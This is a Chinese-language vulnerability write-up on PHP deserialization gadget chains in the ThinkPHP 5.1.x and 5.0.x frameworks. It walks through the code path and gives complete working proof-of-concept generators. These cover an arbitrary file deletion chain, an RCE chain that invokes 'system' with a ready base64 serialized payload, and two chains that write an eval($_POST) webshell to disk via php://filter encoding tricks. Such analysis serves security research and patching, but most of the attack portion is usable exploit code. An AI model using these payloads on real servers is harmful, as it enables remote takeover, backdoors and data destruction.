https://github.com/Mochazz/ThinkPHP-Vuln
[TOC]
ThinkPHP5.1.X反序列化漏洞分析
环境搭建
➜ composer create-project --prefer-dist topthink/think tpdemo
➜ cd tpdemo
➜ vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
➜ composer update
修改控制器
<?php
namespace app\index\controller;
class Index
{
public function index()
{
unserialize(base64_decode($_POST['a']));
return "Welcome!";
}
}
漏洞分析
任意文件删除漏洞
全局搜索 __destruct()
,在 think\process\pipes\Windows.php
中存在删除文件的方法
public function __destruct()
{
$this->close();
$this->removeFiles();
}
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
非常简单的链子,这里直接删除指定文件,参数均可控
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes
{
private $files = ['D:\\1.txt'];
}
echo base64_encode(serialize(new Windows()));
RCE
接着看,查一下 file_exists()
用法发现其参数为 String
可以想到魔法函数 __toString
(将对象当成字符串时调用),接着搜索 __toString
找到两个可利用点:thinkphp\library\think\Collection.php
和 thinkphp\library\think\model\concern\Conversion.php
,这里分析 Conversion
,另外一个下面分析
toArray()
中利用点在下图最后两句,这里的 $this->append
可控 。然后 if
里面 $relation
不会为空,不用管,进入第二个 if
后先跟进 getAttr()
看看
这里又调用了 getData()
,再进去看看
getData()
这里 $this->data
可控
这里一路看下来 $name
和 $data
均可空,所以 $relation->visible($name)
就变成了 可控类->visible(可控参数)
接下来的思路就是找 可利用的visible()
方法 或者 可利用的 __call()
翻了一圈 visible()
没有可用的,__call()
有个地方可以(看大佬文章说 call_user_func
和 call_user_func_array
一般都在 __call()
里面),在 thinkphp\library\think\Request.php
的 __call()
中确实存在 call_user_func_array()
,分析过 TP5 RCE 的应该对这个类很熟悉了吧,基本上都跑不掉这个类里的 input()
(function input($data = [], $name = '', $default = null, $filter = '')
),只要能控制方法的 data
参数就能 RCE,但是并不会这么顺利,来看 __call()
330 行,使用 array_unshift()
将 $this
对象添加到 $args
数组的第一位,所以在构造 POC 时就要控制 hook
为 array(任意类,任意方法) 这样试的
直接调用 input()
?不行,在 input()
中会对 $name
进行强转 $name = (string) $name;
传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input()
的方法
挺多的,但是都不能直接利用,比如 get()
,第二个参数 $name
是 call_user_func_array()
的第二个参数,是对象
在 function param($name = '', $default = null, $filter = '')
的回溯中发现 isAjax()
和 isPjax()
中 $this->config['var_ajax']
是可控的,那么 input()
的第一个参数也是可控的,由于只给 input()
传了一个参数,其 $name
默认为空,链子不就有了?
编写 POC
在写 POC 中发现 Conversion.php
和 Attribute.php
类的定义为 trait
,额,没见过,搜索一番发现其就是 复用代码,使用时直接 use
其命名空间即可把代码插进去(include
?不清楚),向上查找发现 thinkphp\library\think\Model.php
同时使用了 Conversion
和 Attribute
,但它又是抽象类的。。。再回溯
thinkphp\library\think\model\Pivot.php
继承了 Model
且类内部方法简单,就选他了
POC:
<?php
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files[] = new Pivot();
}
}
namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = array('yq1ng' => array('hello'=>'thinkphp'));
$this->data = array('yq1ng' => new Request());
}
}
class Request
{
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $filter;
public function __construct()
{
$this->hook['visible'] = [$this, 'isAjax'];
$this->config['var_ajax'] = '';
$this->filter = 'system';
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiI
AKgBhcHBlbmQiO2E6MTp7czo1OiJ5cTFuZyI7YToxOntzOjU6ImhlbGxvIjtzOjg6InRoaW5rcGhwIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToieXExbmciO086MTM6InRoaW5rXFJlcXVlc3
QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZ
CI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19Q
QVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiI
iO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbH
RlciI7czo2OiJzeXN0ZW0iO319fX19
*/
POST 的同时 GET 一个随便的变量名过去即可
上面提到 __toString
有两个利用点,另外一个你想出来了吗,很简单,对吧。本来想放 POC 的,但是本地的被我搞丢了,就是直接 new Model()
就行啦
参考
ThinkPHP5.0.X反序列化漏洞分析
环境搭建
composer create-project topthink/think=5.0.14 tp5.0.14
<?php
namespace app\index\controller;
class Index
{
public function index()
{
echo $_POST['c'];
unserialize($_POST['c']);
return 'Welcome to thinkphp5.0.24';
}
}
漏洞分析
任意文件删除
不再赘述,和上面一样
写马
5.1 的在这里不适用,看下图比较,可控参数无了,链子也变了
前面还是 Windows->__destruct() --> Windows->removeFiles()
,接着搜索 __toString()
找到 think\Model
,也类似,还是来到 toArray()
,如果 $value
可控,则能调用 __call()
,这里 $append
可控,所以 $name
可控,然后向上看先跟进 parseName()
由于 $name
可控,所以这里 $relation
也可控,但其首字母为小写
$relation
可控了,那么 $modelRelation
就是本类任意方法 return 的结果 ($modelRelation = $this->$relation();
),选择 getError()
方法,因为它简单且可控
再看 getRelationData()
,要求 $modelRelation
为 Relation类
,如果能进第一个 if 那么 $value
就可控了,看看 isSelfRelation()
和 getModel()
都是可控的,那么 $value
也就可控了
public function isSelfRelation()
{
return $this->selfRelation;
}
public function getModel()
{
return $this->query->getModel();
}
再看 $value->getAttr($attr)
,类可控了,方法参数能不能控制呢?看看 $attr
怎么来的,搜 getBindAttr()
在 thinkphp\library\think\model\relation\OneToOne.php
中找到可控的 bindAttr
,且 abstract class OneToOne extends Relation
,还要找其子类,两个随便选一个
到这里 $value->getAttr($attr)
完全可控了,接下来就是找一个可利用的 getAttr()
或者 __call()
,但是getAttr()
只在 \think\Model
中有,没什么利用的,再搜 __call(
,可以利用 thinkphp\library\think\console\Output.php
,一路跟下去喽
$this->handle
可控,搜索 write()
,来到 thinkphp\library\think\session\driver\Memcache.php
,$this->handle
也是可控,再搜 set()
找到 thinkphp\library\think\cache\driver\File.php
,但是这个很熟悉对不对,上一篇文章的 缓存写马 就是这里,这个版本修复过了,缓存不能用,加了死亡退出。止步不前了?往下看
159 行的 $filename
由 149 行决定,跟进 getCacheKey()
,$this->options
可控 ==> $filename
可控
激动了吗,看 $data
可控吗,调用 set()
哪里最后一个参数不可控,$this->config['expire']==3306
,所以没法写 shell 了
失望,,,继续看 setTagItem()
,最后又掉用了 set()
,且此次是以文件名为文件内容写入文件,关于死亡推出 P神 写过绕过方法,这里用最简单的 rot13 进行绕过
将$this->options['path']
(getCacheKey
)设置为 php://filter/write=string.rot13/resource=<?cuc @riny($_cbfg['ld1at']);?>
借用 osword 师傅的图
POC编写
<?php
/**
* @Author ying
* @Date 8/18/2021 5:49 PM
* @Version 1.0
*/
namespace think\process\pipes {
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = array(new Pivot());
}
}
}
namespace think\model {
use think\console\Output;
use think\model\relation\BelongsTo;
class Pivot
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = array('yq1ng' => 'getError');
$this->error = new BelongsTo();
$this->parent = new Output();
}
}
}
namespace think\model\relation {
use think\db\Query;
class BelongsTo
{
protected $bindAttr = [];
protected $selfRelation;
protected $query;
public function __construct()
{
$this->bindAttr = array('yq1ng' => 'hello');
$this->selfRelation = false;
$this->query = new Query();
}
}
}
namespace think\db {
use think\console\Output;
class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
}
namespace think\console {
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['getAttr'];
$this->handle = new Memcache();
}
}
}
namespace think\session\driver {
use think\cache\driver\File;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = new File();
}
}
}
namespace think\cache\driver {
class File
{
protected $options = [];
protected $tag;
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_cbfg[\'ld1at\']);?>',
'data_compress' => false,
];
$this->tag = 'yq1ng';
}
}
}
namespace {
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
}
但是这个 POC 只能在 Linux 上使用,因为 win 不允许文件名带有特殊字符。but 这个 POC 用了之后我不能执行命令,只能访问,其页面报错为 Parse error: syntax error, unexpected 'rkvg' (T_STRING)`
,后来参考这篇文章 Thinkphp5.0反序列化链在Windows下写文件的方法 得以解决,win 和 Linux通用
其中文件名是可推测的,filename
为 a.php.md5('tag_'.md5($this->tag)).php
<?php
/**
* @Author ying
* @Date 8/18/2021 5:49 PM
* @Version 1.0
*/
namespace think\process\pipes {
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = array(new Pivot());
}
}
}
namespace think\model {
use think\console\Output;
use think\model\relation\BelongsTo;
class Pivot
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = array('yq1ng' => 'getError');
$this->error = new BelongsTo();
$this->parent = new Output();
}
}
}
namespace think\model\relation {
use think\db\Query;
class BelongsTo
{
protected $bindAttr = [];
protected $selfRelation;
protected $query;
public function __construct()
{
$this->bindAttr = array('yq1ng' => 'hello');
$this->selfRelation = false;
$this->query = new Query();
}
}
}
namespace think\db {
use think\console\Output;
class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
}
namespace think\console {
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['getAttr'];
$this->handle = new Memcache();
}
}
}
namespace think\session\driver {
use think\cache\driver\File;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = new File();
}
}
}
namespace think\cache\driver {
class File
{
protected $options = [];
protected $tag;
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'yq1ng';
}
}
}
namespace {
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
}
win 写入情况如下,可利用